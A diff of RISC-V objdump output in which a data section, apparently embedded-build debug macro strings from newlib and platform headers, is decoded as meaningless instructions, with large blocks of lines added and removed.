+    575a:	5f5f 4953 455a      	0x455a49535f5f
+    5760:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    5766:	3020                	fld	fs0,96(s0)
+    5768:	6678                	flw	fa4,76(a2)
+    576a:	6666                	flw	fa2,88(sp)
+    576c:	6666                	flw	fa2,88(sp)
+    576e:	6666                	flw	fa2,88(sp)
+    5770:	5566                	lw	a0,120(sp)
+    5772:	5400                	lw	s0,40(s0)
+    5774:	6172                	flw	ft2,28(sp)
+    5776:	736e                	flw	ft6,248(sp)
+    5778:	696d                	lui	s2,0x1b
+    577a:	6f697373          	csrrci	t1,0x6f6,18
+    577e:	486e                	lw	a6,216(sp)
+    5780:	6165                	addi	sp,sp,112
+    5782:	6564                	flw	fs1,76(a0)
+    5784:	0072                	c.slli	zero,0x1c
+    5786:	52545f4f          	fnmadd.d	ft10,fs0,ft5,fa0,unknown
+    578a:	4e55                	li	t3,21
+    578c:	465f2043          	fmadd.q	ft0,ft10,ft5,fs0,rdn
+    5790:	5254                	lw	a3,36(a2)
+    5792:	4e55                	li	t3,21
+    5794:	4e490043          	fmadd.q	ft0,fs2,ft4,fs1,rne
+    5798:	4d54                	lw	a3,28(a0)
+    579a:	5841                	li	a6,-16
+    579c:	435f 6328 2029      	0x20296328435f
+    57a2:	5f5f 4e49 4d54      	0x4d544e495f5f
+    57a8:	5841                	li	a6,-16
+    57aa:	435f 6328 0029      	0x296328435f
+    57b0:	544e4957          	0x544e4957
+    57b4:	4d5f 5841 5f20      	0x5f2058414d5f
+    57ba:	575f 4e49 5f54      	0x5f544e49575f
+    57c0:	414d                	li	sp,19
+    57c2:	5f58                	lw	a4,60(a4)
+    57c4:	005f 5f5f 4843      	0x48435f5f005f
+    57ca:	5241                	li	tp,-16
+    57cc:	425f 5449 5f5f      	0x5f5f5449425f
+    57d2:	3820                	fld	fs0,112(s0)
+    57d4:	4900                	lw	s0,16(a0)
+    57d6:	544e                	lw	s0,240(sp)
+    57d8:	414d                	li	sp,19
+    57da:	5f58                	lw	a4,60(a4)
+    57dc:	494d                	li	s2,19
+    57de:	004e                	c.slli	zero,0x13
+    57e0:	5f5f 4e49 4d54      	0x4d544e495f5f
+    57e6:	5841                	li	a6,-16
+    57e8:	545f 5059 5f45      	0x5f455059545f
+    57ee:	205f 6f6c 676e      	0x676e6f6c205f
+    57f4:	6c20                	flw	fs0,88(s0)
+    57f6:	20676e6f          	jal	t3,7b9fc <__stack_size+0x7b1fc>
+    57fa:	6e69                	lui	t3,0x1a
+    57fc:	0074                	addi	a3,sp,12
+    57fe:	45445453          	0x45445453
+    5802:	5252                	lw	tp,52(sp)
+    5804:	465f 4c49 4e45      	0x4e454c49465f
+    580a:	0032204f          	fnmadd.s	ft0,ft4,ft3,ft0,rdn
+    580e:	4f45                	li	t5,17
+    5810:	2046                	fld	ft0,80(sp)
+    5812:	2d28                	fld	fa0,88(a0)
+    5814:	2931                	jal	5c30 <__stack_size+0x5430>
+    5816:	5f00                	lw	s0,56(a4)
+    5818:	4f50                	lw	a2,28(a4)
+    581a:	4e49                	li	t3,18
+    581c:	4554                	lw	a3,12(a0)
+    581e:	5f52                	lw	t5,52(sp)
+    5820:	4e49                	li	t3,18
+    5822:	2054                	fld	fa3,128(s0)
+    5824:	6f6c                	flw	fa1,92(a4)
+    5826:	676e                	flw	fa4,216(sp)
+    5828:	5f00                	lw	s0,56(a4)
+    582a:	4950                	lw	a2,20(a0)
+    582c:	5f44                	lw	s1,60(a4)
+    582e:	5f54                	lw	a3,60(a4)
+    5830:	4544                	lw	s1,12(a0)
+    5832:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    5836:	4445                	li	s0,17
+    5838:	0020                	addi	s0,sp,8
+    583a:	535f 5f43 4342      	0x43425f43535f
+    5840:	535f 4143 454c      	0x454c4143535f
+    5846:	4d5f 5841 3520      	0x352058414d5f
+    584c:	0039                	c.nop	14
+    584e:	6e756f63          	bltu	a0,t2,5f4c <__stack_size+0x574c>
+    5852:	0074                	addi	a3,sp,12
+    5854:	525f 4545 544e      	0x544e4545525f
+    585a:	495f 494e 2854      	0x2854494e495f
+    5860:	6176                	flw	ft2,92(sp)
+    5862:	2972                	fld	fs2,280(sp)
+    5864:	7b20                	flw	fs0,112(a4)
+    5866:	3020                	fld	fs0,96(s0)
+    5868:	202c                	fld	fa1,64(s0)
+    586a:	525f 4545 544e      	0x544e4545525f
+    5870:	535f 4454 4f49      	0x4f494454535f
+    5876:	535f 5254 4145      	0x41455254535f
+    587c:	284d                	jal	592e <__stack_size+0x512e>
+    587e:	2826                	fld	fa6,72(sp)
+    5880:	6176                	flw	ft2,92(sp)
+    5882:	2972                	fld	fs2,280(sp)
+    5884:	202c                	fld	fa1,64(s0)
+    5886:	2930                	fld	fa2,80(a0)
+    5888:	202c                	fld	fa1,64(s0)
+    588a:	525f 4545 544e      	0x544e4545525f
+    5890:	535f 4454 4f49      	0x4f494454535f
+    5896:	535f 5254 4145      	0x41455254535f
+    589c:	284d                	jal	594e <__stack_size+0x514e>
+    589e:	2826                	fld	fa6,72(sp)
+    58a0:	6176                	flw	ft2,92(sp)
+    58a2:	2972                	fld	fs2,280(sp)
+    58a4:	202c                	fld	fa1,64(s0)
+    58a6:	2931                	jal	5cc2 <__stack_size+0x54c2>
+    58a8:	202c                	fld	fa1,64(s0)
+    58aa:	525f 4545 544e      	0x544e4545525f
+    58b0:	535f 4454 4f49      	0x4f494454535f
+    58b6:	535f 5254 4145      	0x41455254535f
+    58bc:	284d                	jal	596e <__stack_size+0x516e>
+    58be:	2826                	fld	fa6,72(sp)
+    58c0:	6176                	flw	ft2,92(sp)
+    58c2:	2972                	fld	fs2,280(sp)
+    58c4:	202c                	fld	fa1,64(s0)
+    58c6:	2932                	fld	fs2,264(sp)
+    58c8:	202c                	fld	fa1,64(s0)
     58ca:	2c30                	fld	fa2,88(s0)
-    58cc:	7b20                	flw	fs0,112(a4)
-    58ce:	7d30                	flw	fa2,120(a0)
-    58d0:	2c7d                	jal	5b8e <__stack_size+0x538e>
-    58d2:	7b20                	flw	fs0,112(a4)
-    58d4:	2c30                	fld	fa2,88(s0)
-    58d6:	7b20                	flw	fs0,112(a4)
-    58d8:	7d30                	flw	fa2,120(a0)
-    58da:	207d                	jal	5988 <__stack_size+0x5188>
-    58dc:	207d                	jal	598a <__stack_size+0x518a>
-    58de:	2c7d                	jal	5b9c <__stack_size+0x539c>
-    58e0:	5f20                	lw	s0,120(a4)
-    58e2:	4552                	lw	a0,20(sp)
-    58e4:	4e45                	li	t3,17
-    58e6:	5f54                	lw	a3,60(a4)
-    58e8:	4e49                	li	t3,18
-    58ea:	5449                	li	s0,-14
-    58ec:	415f 4554 4958      	0x49584554415f
-    58f2:	2054                	fld	fa3,128(s0)
-    58f4:	4e5f 4c55 2c4c      	0x2c4c4c554e5f
-    58fa:	7b20                	flw	fs0,112(a4)
-    58fc:	4e5f 4c55 2c4c      	0x2c4c4c554e5f
-    5902:	3020                	fld	fs0,96(s0)
-    5904:	202c                	fld	fa1,64(s0)
-    5906:	4e5f 4c55 7d4c      	0x7d4c4c554e5f
-    590c:	7d20                	flw	fs0,120(a0)
-    590e:	5f00                	lw	s0,56(a4)
-    5910:	465f 544c 3436      	0x3436544c465f
-    5916:	5f58                	lw	a4,60(a4)
-    5918:	4944                	lw	s1,20(a0)
-    591a:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    591e:	5f003333          	0x5f003333
-    5922:	424f4c47          	fmsub.d	fs8,ft10,ft4,fs0,rmm
-    5926:	4c41                	li	s8,16
-    5928:	415f 4554 4958      	0x49584554415f
-    592e:	2054                	fld	fa3,128(s0)
-    5930:	5f28                	lw	a0,120(a4)
-    5932:	424f4c47          	fmsub.d	fs8,ft10,ft4,fs0,rmm
-    5936:	4c41                	li	s8,16
-    5938:	525f 4545 544e      	0x544e4545525f
-    593e:	3e2d                	jal	5478 <__stack_size+0x4c78>
-    5940:	615f 6574 6978      	0x69786574615f
-    5946:	2974                	fld	fa3,208(a0)
-    5948:	5f00                	lw	s0,56(a4)
-    594a:	5342                	lw	t1,48(sp)
-    594c:	5f44                	lw	s1,60(a4)
-    594e:	455a4953          	0x455a4953
-    5952:	545f 205f 5f00      	0x5f00205f545f
-    5958:	745f 7972 6f6c      	0x6f6c7972745f
-    595e:	5f736b63          	bltu	t1,s7,5f54 <__stack_size+0x5754>
-    5962:	72616873          	csrrsi	a6,0x726,2
-    5966:	6465                	lui	s0,0x19
-    5968:	2e28                	fld	fa0,88(a2)
-    596a:	2e2e                	fld	ft8,200(sp)
-    596c:	2029                	jal	5976 <__stack_size+0x5176>
-    596e:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    5974:	615f 6e6e 746f      	0x746f6e6e615f
-    597a:	7461                	lui	s0,0xffff8
-    597c:	2865                	jal	5a34 <__stack_size+0x5234>
-    597e:	72616873          	csrrsi	a6,0x726,2
-    5982:	6465                	lui	s0,0x19
-    5984:	745f 7972 6f6c      	0x6f6c7972745f
-    598a:	665f6b63          	bltu	t5,t0,6000 <__stack_size+0x5800>
-    598e:	6e75                	lui	t3,0x1d
-    5990:	6f697463          	bgeu	s2,s6,6078 <__stack_size+0x5878>
-    5994:	286e                	fld	fa6,216(sp)
-    5996:	5f5f 4156 415f      	0x415f41565f5f
-    599c:	4752                	lw	a4,20(sp)
-    599e:	295f5f53          	0x295f5f53
-    59a2:	0029                	c.nop	10
-    59a4:	535f 5254 4e49      	0x4e495254535f
-    59aa:	5f485f47          	fmsub.q	ft10,fa6,fs4,fa1,unknown
-    59ae:	0020                	addi	s0,sp,8
-    59b0:	5f5f 4e49 5054      	0x50544e495f5f
-    59b6:	5254                	lw	a3,36(a2)
-    59b8:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    59be:	3020                	fld	fs0,96(s0)
-    59c0:	3778                	fld	fa4,232(a4)
-    59c2:	6666                	flw	fa2,88(sp)
-    59c4:	6666                	flw	fa2,88(sp)
-    59c6:	6666                	flw	fa2,88(sp)
-    59c8:	0066                	c.slli	zero,0x19
-    59ca:	5750                	lw	a2,44(a4)
-    59cc:	5f4d                	li	t5,-13
-    59ce:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
-    59d2:	31504d43          	fmadd.s	fs10,ft0,fs5,ft6,rmm
-    59d6:	5049                	c.li	zero,-14
-    59d8:	3020                	fld	fs0,96(s0)
-    59da:	3278                	fld	fa4,224(a2)
-    59dc:	3030                	fld	fa2,96(s0)
-    59de:	3030                	fld	fa2,96(s0)
-    59e0:	3030                	fld	fa2,96(s0)
-    59e2:	0030                	addi	a2,sp,8
-    59e4:	5f5f 6163 6464      	0x646461635f5f
-    59ea:	5f72                	lw	t5,60(sp)
-    59ec:	5f74                	lw	a3,124(a4)
-    59ee:	6564                	flw	fs1,76(a0)
-    59f0:	6966                	flw	fs2,88(sp)
-    59f2:	656e                	flw	fa0,216(sp)
-    59f4:	2064                	fld	fs1,192(s0)
-    59f6:	4600                	lw	s0,8(a2)
-    59f8:	535f 5445 4b4c      	0x4b4c5445535f
-    59fe:	00392057          	0x392057
-    5a02:	5f5f 4347 5f43      	0x5f4343475f5f
-    5a08:	5441                	li	s0,-16
-    5a0a:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
-    5a0e:	505f 494f 544e      	0x544e494f505f
-    5a14:	5245                	li	tp,-15
-    5a16:	4c5f 434f 5f4b      	0x5f4b434f4c5f
-    5a1c:	5246                	lw	tp,112(sp)
-    5a1e:	4545                	li	a0,17
-    5a20:	3220                	fld	fs0,96(a2)
-    5a22:	5f00                	lw	s0,56(a4)
-    5a24:	6f4e                	flw	ft10,208(sp)
-    5a26:	6e6e                	flw	ft8,216(sp)
-    5a28:	6c75                	lui	s8,0x1d
-    5a2a:	206c                	fld	fa1,192(s0)
-    5a2c:	4300                	lw	s0,0(a4)
-    5a2e:	4d5f5253          	0x4d5f5253
-    5a32:	5048                	lw	a0,36(s0)
-    5a34:	434d                	li	t1,19
-    5a36:	544e554f          	0x544e554f
-    5a3a:	5245                	li	tp,-15
-    5a3c:	32203133          	0x32203133
-    5a40:	4c500037          	lui	zero,0x4c500
-    5a44:	4349                	li	t1,18
-    5a46:	425f 5341 2045      	0x20455341425f
-    5a4c:	7830                	flw	fa2,112(s0)
-    5a4e:	4330                	lw	a2,64(a4)
-    5a50:	3030                	fld	fa2,96(s0)
-    5a52:	3030                	fld	fa2,96(s0)
-    5a54:	3030                	fld	fa2,96(s0)
-    5a56:	4900                	lw	s0,16(a0)
-    5a58:	5152                	lw	sp,52(sp)
-    5a5a:	2820                	fld	fs0,80(s0)
-    5a5c:	5531                	li	a0,-20
-    5a5e:	204c                	fld	fa1,128(s0)
-    5a60:	3c3c                	fld	fa5,120(s0)
-    5a62:	5f5f 6972 6373      	0x637369725f5f
-    5a68:	5f76                	lw	t5,124(sp)
-    5a6a:	6c78                	flw	fa4,92(s0)
-    5a6c:	6e65                	lui	t3,0x19
-    5a6e:	312d                	jal	5698 <__stack_size+0x4e98>
-    5a70:	0029                	c.nop	10
-    5a72:	535f 5f43 5f32      	0x5f325f43535f
-    5a78:	49425f43          	fmadd.s	ft10,ft4,fs4,fs1,unknown
-    5a7c:	444e                	lw	s0,208(sp)
-    5a7e:	3120                	fld	fs0,96(a0)
-    5a80:	3830                	fld	fa2,112(s0)
-    5a82:	5f00                	lw	s0,56(a4)
-    5a84:	5746                	lw	a4,112(sp)
-    5a86:	4952                	lw	s2,20(sp)
-    5a88:	4554                	lw	a3,12(a0)
-    5a8a:	3020                	fld	fs0,96(s0)
-    5a8c:	3078                	fld	fa4,224(s0)
-    5a8e:	3030                	fld	fa2,96(s0)
-    5a90:	0032                	c.slli	zero,0xc
-    5a92:	5f5f 4f53 4646      	0x46464f535f5f
-    5a98:	3020                	fld	fs0,96(s0)
-    5a9a:	3178                	fld	fa4,224(a0)
-    5a9c:	3030                	fld	fa2,96(s0)
-    5a9e:	0030                	addi	a2,sp,8
-    5aa0:	525f 4e41 3444      	0x34444e41525f
-    5aa6:	5f38                	lw	a4,120(a4)
-    5aa8:	554d                	li	a0,-13
-    5aaa:	544c                	lw	a1,44(s0)
-    5aac:	315f 2820 7830      	0x78302820315f
-    5ab2:	6564                	flw	fs1,76(a0)
-    5ab4:	6365                	lui	t1,0x19
-    5ab6:	0029                	c.nop	10
-    5ab8:	535f 5f43 4c43      	0x4c435f43535f
-    5abe:	43545f4b          	fnmsub.d	ft10,fs0,fs5,fs0,unknown
-    5ac2:	0032204b          	fnmsub.s	ft0,ft4,ft3,ft0,rdn
-    5ac6:	5f5f 4c46 3354      	0x33544c465f5f
-    5acc:	5f32                	lw	t5,44(sp)
-    5ace:	414d                	li	sp,19
-    5ad0:	5f58                	lw	a4,60(a4)
-    5ad2:	3031                	jal	52de <__stack_size+0x4ade>
-    5ad4:	455f 5058 5f5f      	0x5f5f5058455f
-    5ada:	3320                	fld	fs0,96(a4)
-    5adc:	0038                	addi	a4,sp,8
-    5ade:	535f 5f43 5254      	0x52545f43535f
-    5ae4:	4341                	li	t1,16
-    5ae6:	5f45                	li	t5,-15
-    5ae8:	5645                	li	a2,-15
-    5aea:	4e45                	li	t3,17
-    5aec:	5f54                	lw	a3,60(a4)
-    5aee:	4946                	lw	s2,80(sp)
-    5af0:	544c                	lw	a1,44(s0)
-    5af2:	5245                	li	tp,-15
-    5af4:	3820                	fld	fs0,112(s0)
-    5af6:	0034                	addi	a3,sp,8
-    5af8:	5f5f 4c46 3654      	0x36544c465f5f
-    5afe:	5f34                	lw	a3,120(a4)
-    5b00:	5045                	c.li	zero,-15
-    5b02:	4f4c4953          	0x4f4c4953
-    5b06:	5f4e                	lw	t5,240(sp)
-    5b08:	205f 2e32 3232      	0x32322e32205f
-    5b0e:	3430                	fld	fa2,104(s0)
-    5b10:	3634                	fld	fa3,104(a2)
-    5b12:	3430                	fld	fa2,104(s0)
-    5b14:	3239                	jal	5422 <__stack_size+0x4c22>
-    5b16:	3035                	jal	5342 <__stack_size+0x4b42>
-    5b18:	30333133          	0x30333133
-    5b1c:	3038                	fld	fa4,96(s0)
-    5b1e:	3438                	fld	fa4,104(s0)
-    5b20:	33363237          	lui	tp,0x33363
-    5b24:	31363333          	0x31363333
-    5b28:	3138                	fld	fa4,96(a0)
-    5b2a:	3436                	fld	fs0,360(sp)
-    5b2c:	3630                	fld	fa2,104(a2)
-    5b2e:	6532                	flw	fa0,12(sp)
-    5b30:	312d                	jal	575a <__stack_size+0x4f5a>
-    5b32:	4636                	lw	a2,76(sp)
-    5b34:	3436                	fld	fs0,360(sp)
-    5b36:	5f00                	lw	s0,56(a4)
-    5b38:	4552                	lw	a0,20(sp)
-    5b3a:	4e45                	li	t3,17
-    5b3c:	5f54                	lw	a3,60(a4)
-    5b3e:	4152                	lw	sp,20(sp)
-    5b40:	444e                	lw	s0,208(sp)
-    5b42:	3834                	fld	fa3,112(s0)
-    5b44:	4d5f 4c55 2854      	0x28544c554d5f
-    5b4a:	7470                	flw	fa2,108(s0)
-    5b4c:	2972                	fld	fs2,280(sp)
-    5b4e:	2820                	fld	fs0,80(s0)
-    5b50:	7028                	flw	fa0,96(s0)
-    5b52:	7274                	flw	fa3,100(a2)
-    5b54:	2d29                	jal	616e <__stack_size+0x596e>
-    5b56:	5f3e                	lw	t5,236(sp)
-    5b58:	656e                	flw	fa0,216(sp)
-    5b5a:	725f2e77          	0x725f2e77
-    5b5e:	6565                	lui	a0,0x19
-    5b60:	746e                	flw	fs0,248(sp)
-    5b62:	5f2e                	lw	t5,232(sp)
-    5b64:	3472                	fld	fs0,312(sp)
-    5b66:	2e38                	fld	fa4,88(a2)
-    5b68:	6d5f 6c75 2974      	0x29746c756d5f
-    5b6e:	5f00                	lw	s0,56(a4)
-    5b70:	525f4353          	0x525f4353
-    5b74:	4145                	li	sp,17
-    5b76:	544c                	lw	a1,44(s0)
-    5b78:	4d49                	li	s10,18
-    5b7a:	5f45                	li	t5,-15
-    5b7c:	4e474953          	0x4e474953
-    5b80:	4c41                	li	s8,16
-    5b82:	39322053          	0x39322053
-    5b86:	4900                	lw	s0,16(a0)
-    5b88:	544e                	lw	s0,240(sp)
-    5b8a:	4c5f 4145 5453      	0x545341454c5f
-    5b90:	4d5f3233          	0x4d5f3233
-    5b94:	4e49                	li	t3,18
-    5b96:	2820                	fld	fs0,80(s0)
-    5b98:	492d                	li	s2,11
-    5b9a:	544e                	lw	s0,240(sp)
-    5b9c:	4c5f 4145 5453      	0x545341454c5f
-    5ba2:	4d5f3233          	0x4d5f3233
-    5ba6:	5841                	li	a6,-16
-    5ba8:	2d20                	fld	fs0,88(a0)
-    5baa:	3120                	fld	fs0,96(a0)
-    5bac:	0029                	c.nop	10
-    5bae:	5f5f 6972 6373      	0x637369725f5f
-    5bb4:	5f76                	lw	t5,124(sp)
-    5bb6:	6c66                	flw	fs8,88(sp)
-    5bb8:	5f74616f          	jal	sp,4c9ae <__stack_size+0x4c1ae>
-    5bbc:	6261                	lui	tp,0x18
-    5bbe:	5f69                	li	t5,-6
-    5bc0:	74666f73          	csrrsi	t5,0x746,12
-    5bc4:	3120                	fld	fs0,96(a0)
-    5bc6:	5f00                	lw	s0,56(a4)
-    5bc8:	505f 4152 4d47      	0x4d474152505f
-    5bce:	5f41                	li	t5,-16
-    5bd0:	4552                	lw	a0,20(sp)
-    5bd2:	4544                	lw	s1,12(a0)
-    5bd4:	4946                	lw	s2,80(sp)
-    5bd6:	454e                	lw	a0,208(sp)
-    5bd8:	455f 5458 414e      	0x414e5458455f
-    5bde:	454d                	li	a0,19
-    5be0:	3120                	fld	fs0,96(a0)
-    5be2:	5f00                	lw	s0,56(a4)
-    5be4:	495f4353          	0x495f4353
-    5be8:	4d5f564f          	0x4d5f564f
-    5bec:	5841                	li	a6,-16
-    5bee:	3620                	fld	fs0,104(a2)
-    5bf0:	0036                	c.slli	zero,0xd
-    5bf2:	5f5f 4953 455a      	0x455a49535f5f
-    5bf8:	495f464f          	fnmadd.s	fa2,ft10,fs5,fs1,rmm
-    5bfc:	544e                	lw	s0,240(sp)
-    5bfe:	5f5f 3420 4600      	0x460034205f5f
-    5c04:	4c5f 434f 204b      	0x204b434f4c5f
-    5c0a:	0031                	c.nop	12
-    5c0c:	5f5f 444c 4c42      	0x4c42444c5f5f
-    5c12:	485f 5341 445f      	0x445f5341485f
-    5c18:	4e45                	li	t3,17
-    5c1a:	5f4d524f          	fnmadd.q	ft4,fs10,fs4,fa1,unknown
-    5c1e:	205f 0031 5343      	0x53430031205f
-    5c24:	5f52                	lw	t5,52(sp)
-    5c26:	494d                	li	s2,19
-    5c28:	534e                	lw	t1,240(sp)
-    5c2a:	5254                	lw	a3,36(a2)
-    5c2c:	5445                	li	s0,-15
-    5c2e:	2048                	fld	fa0,128(s0)
-    5c30:	3831                	jal	544c <__stack_size+0x4c4c>
-    5c32:	5f00                	lw	s0,56(a4)
-    5c34:	4e41                	li	t3,16
-    5c36:	535f4953          	0x535f4953
-    5c3a:	4454                	lw	a3,12(s0)
-    5c3c:	4544                	lw	s1,12(a0)
-    5c3e:	5f46                	lw	t5,112(sp)
-    5c40:	2048                	fld	fa0,128(s0)
-    5c42:	4300                	lw	s0,0(a4)
-    5c44:	494c                	lw	a1,20(a0)
-    5c46:	544e                	lw	s0,240(sp)
-    5c48:	4d5f 4954 454d      	0x454d49544d5f
-    5c4e:	3020                	fld	fs0,96(s0)
-    5c50:	4278                	lw	a4,68(a2)
-    5c52:	4646                	lw	a2,80(sp)
-    5c54:	0038                	addi	a4,sp,8
-    5c56:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
-    5c5a:	505f 4c55 554c      	0x554c4c55505f
-    5c60:	5f50                	lw	a2,60(a4)
-    5c62:	4e45                	li	t3,17
-    5c64:	3020                	fld	fs0,96(s0)
-    5c66:	3178                	fld	fa4,224(a0)
-    5c68:	0030                	addi	a2,sp,8
-    5c6a:	525f 4e41 3444      	0x34444e41525f
-    5c70:	5f38                	lw	a4,120(a4)
-    5c72:	554d                	li	a0,-13
-    5c74:	544c                	lw	a1,44(s0)
-    5c76:	325f 2820 7830      	0x78302820325f
-    5c7c:	3030                	fld	fa2,96(s0)
-    5c7e:	3530                	fld	fa2,104(a0)
-    5c80:	0029                	c.nop	10
-    5c82:	7270                	flw	fa2,100(a2)
-    5c84:	6e69                	lui	t3,0x1a
-    5c86:	5f74                	lw	a3,124(a4)
-    5c88:	6d70                	flw	fa2,92(a0)
-    5c8a:	0070                	addi	a2,sp,12
-    5c8c:	535f 5f43 5053      	0x50535f43535f
-    5c92:	5741                	li	a4,-16
-    5c94:	204e                	fld	ft0,208(sp)
-    5c96:	5f003537          	lui	a0,0x5f003
-    5c9a:	435f 5f43 5553      	0x55535f43435f
-    5ca0:	5050                	lw	a2,36(s0)
-    5ca2:	5354524f          	fnmadd.d	ft4,fs0,fs5,fa0,unknown
-    5ca6:	565f 5241 4441      	0x44415241565f
-    5cac:	4349                	li	t1,18
-    5cae:	585f 5858 3120      	0x31205858585f
-    5cb4:	5f00                	lw	s0,56(a4)
-    5cb6:	475f 4343 415f      	0x415f4343475f
-    5cbc:	4f54                	lw	a3,28(a4)
-    5cbe:	494d                	li	s2,19
-    5cc0:	4e495f43          	fmadd.q	ft10,fs2,ft4,fs1,unknown
-    5cc4:	5f54                	lw	a3,60(a4)
-    5cc6:	4f4c                	lw	a1,28(a4)
-    5cc8:	465f4b43          	fmadd.q	fs6,ft10,ft5,fs0,rmm
-    5ccc:	4552                	lw	a0,20(sp)
-    5cce:	2045                	jal	5d6e <__stack_size+0x556e>
-    5cd0:	0032                	c.slli	zero,0xc
-    5cd2:	5f5f 4c46 3654      	0x36544c465f5f
-    5cd8:	5f34                	lw	a3,120(a4)
-    5cda:	414d                	li	sp,19
-    5cdc:	5f58                	lw	a4,60(a4)
-    5cde:	5845                	li	a6,-15
-    5ce0:	5f50                	lw	a2,60(a4)
-    5ce2:	205f 3031 3432      	0x34323031205f
-    5ce8:	5f00                	lw	s0,56(a4)
-    5cea:	6c5f 636f 616b      	0x616b636f6c5f
-    5cf0:	6c62                	flw	fs8,24(sp)
-    5cf2:	2065                	jal	5d9a <__stack_size+0x559a>
-    5cf4:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    5cfa:	615f 6e6e 746f      	0x746f6e6e615f
-    5d00:	7461                	lui	s0,0xffff8
-    5d02:	2865                	jal	5dba <__stack_size+0x55ba>
-    5d04:	6f6c                	flw	fa1,92(a4)
-    5d06:	62616b63          	bltu	sp,t1,633c <__stack_size+0x5b3c>
-    5d0a:	656c                	flw	fa1,76(a0)
-    5d0c:	0029                	c.nop	10
-    5d0e:	4346                	lw	t1,80(sp)
-    5d10:	4552                	lw	a0,20(sp)
-    5d12:	5441                	li	s0,-16
-    5d14:	5f20                	lw	s0,120(a4)
-    5d16:	4346                	lw	t1,80(sp)
-    5d18:	4552                	lw	a0,20(sp)
-    5d1a:	5441                	li	s0,-16
-    5d1c:	5f00                	lw	s0,56(a4)
-    5d1e:	685f 7361 655f      	0x655f7361685f
-    5d24:	7478                	flw	fa4,108(s0)
-    5d26:	6e65                	lui	t3,0x19
-    5d28:	6e6f6973          	csrrsi	s2,0x6e6,30
-    5d2c:	5f20                	lw	s0,120(a4)
-    5d2e:	685f 7361 665f      	0x665f7361685f
-    5d34:	6165                	addi	sp,sp,112
-    5d36:	7574                	flw	fa3,108(a0)
-    5d38:	6572                	flw	fa0,28(sp)
-    5d3a:	5f00                	lw	s0,56(a4)
-    5d3c:	525f 4745 5349      	0x53494745525f
-    5d42:	4554                	lw	a3,12(a0)
-    5d44:	5f52                	lw	t5,52(sp)
-    5d46:	5250                	lw	a2,36(a2)
-    5d48:	4645                	li	a2,17
-    5d4a:	5849                	li	a6,-14
-    5d4c:	5f5f 0020 5f5f      	0x5f5f00205f5f
-    5d52:	6e75                	lui	t3,0x1d
-    5d54:	6f6c                	flw	fa1,92(a4)
-    5d56:	28736b63          	bltu	t1,t2,5fec <__stack_size+0x57ec>
-    5d5a:	2e2e                	fld	ft8,200(sp)
-    5d5c:	292e                	fld	fs2,200(sp)
-    5d5e:	5f20                	lw	s0,120(a4)
-    5d60:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-    5d66:	6e61                	lui	t3,0x18
-    5d68:	6f6e                	flw	ft10,216(sp)
-    5d6a:	6174                	flw	fa3,68(a0)
-    5d6c:	6574                	flw	fa3,76(a0)
-    5d6e:	7528                	flw	fa0,104(a0)
-    5d70:	6c6e                	flw	fs8,216(sp)
-    5d72:	5f6b636f          	jal	t1,bc368 <__stack_size+0xbbb68>
-    5d76:	7566                	flw	fa0,120(sp)
-    5d78:	636e                	flw	ft6,216(sp)
-    5d7a:	6974                	flw	fa3,84(a0)
-    5d7c:	5f286e6f          	jal	t3,8c36e <__stack_size+0x8bb6e>
-    5d80:	565f 5f41 5241      	0x52415f41565f
-    5d86:	5f5f5347          	fmsub.q	ft6,ft10,fs5,fa1,unknown
-    5d8a:	2929                	jal	61a4 <__stack_size+0x59a4>
-    5d8c:	5300                	lw	s0,32(a4)
-    5d8e:	4454                	lw	a3,12(s0)
-    5d90:	4e49                	li	t3,18
-    5d92:	465f 4c49 4e45      	0x4e454c49465f
-    5d98:	0030204f          	fnmadd.s	ft0,ft0,ft3,ft0,rdn
-    5d9c:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
-    5da0:	525f 5349 5f45      	0x5f455349525f
-    5da6:	5049                	c.li	zero,-14
-    5da8:	3020                	fld	fs0,96(s0)
-    5daa:	3178                	fld	fa4,224(a0)
-    5dac:	53460043          	fmadd.d	ft0,fa2,fs4,fa0,rne
-    5db0:	4e59                	li	t3,22
-    5db2:	465f2043          	fmadd.q	ft0,ft10,ft5,fs0,rdn
-    5db6:	434e5953          	0x434e5953
-    5dba:	5f00                	lw	s0,56(a4)
-    5dbc:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-    5dc2:	736f6c63          	bltu	t5,s6,64fa <__stack_size+0x5cfa>
-    5dc6:	2865                	jal	5e7e <__stack_size+0x567e>
-    5dc8:	6f6c                	flw	fa1,92(a4)
-    5dca:	20296b63          	bltu	s2,sp,5fe0 <__stack_size+0x57e0>
-    5dce:	2828                	fld	fa0,80(s0)
-    5dd0:	6f76                	flw	ft10,92(sp)
-    5dd2:	6469                	lui	s0,0x1a
-    5dd4:	2029                	jal	5dde <__stack_size+0x55de>
-    5dd6:	2930                	fld	fa2,80(a0)
-    5dd8:	5300                	lw	s0,32(a4)
-    5dda:	4545                	li	a0,17
-    5ddc:	55435f4b          	0x55435f4b
-    5de0:	2052                	fld	ft0,272(sp)
-    5de2:	0031                	c.nop	12
-    5de4:	5f5f 6177 6e72      	0x6e7261775f5f
-    5dea:	725f 6665 7265      	0x72656665725f
-    5df0:	6e65                	lui	t3,0x19
-    5df2:	28736563          	bltu	t1,t2,607c <__stack_size+0x587c>
-    5df6:	2c6d7973          	csrrci	s2,0x2c6,26
-    5dfa:	736d                	lui	t1,0xffffb
-    5dfc:	5f202967          	0x5f202967
-    5e00:	615f 6d73 5f5f      	0x5f5f6d73615f
-    5e06:	2228                	fld	fa0,64(a2)
-    5e08:	732e                	flw	ft6,232(sp)
-    5e0a:	6365                	lui	t1,0x19
-    5e0c:	6974                	flw	fa3,84(a0)
-    5e0e:	2e206e6f          	jal	t3,c0f0 <__stack_size+0xb8f0>
-    5e12:	2e756e67          	0x2e756e67
-    5e16:	6e726177          	0x6e726177
-    5e1a:	6e69                	lui	t3,0x1a
-    5e1c:	20222e67          	0x20222e67
-    5e20:	6d797323          	0x6d797323
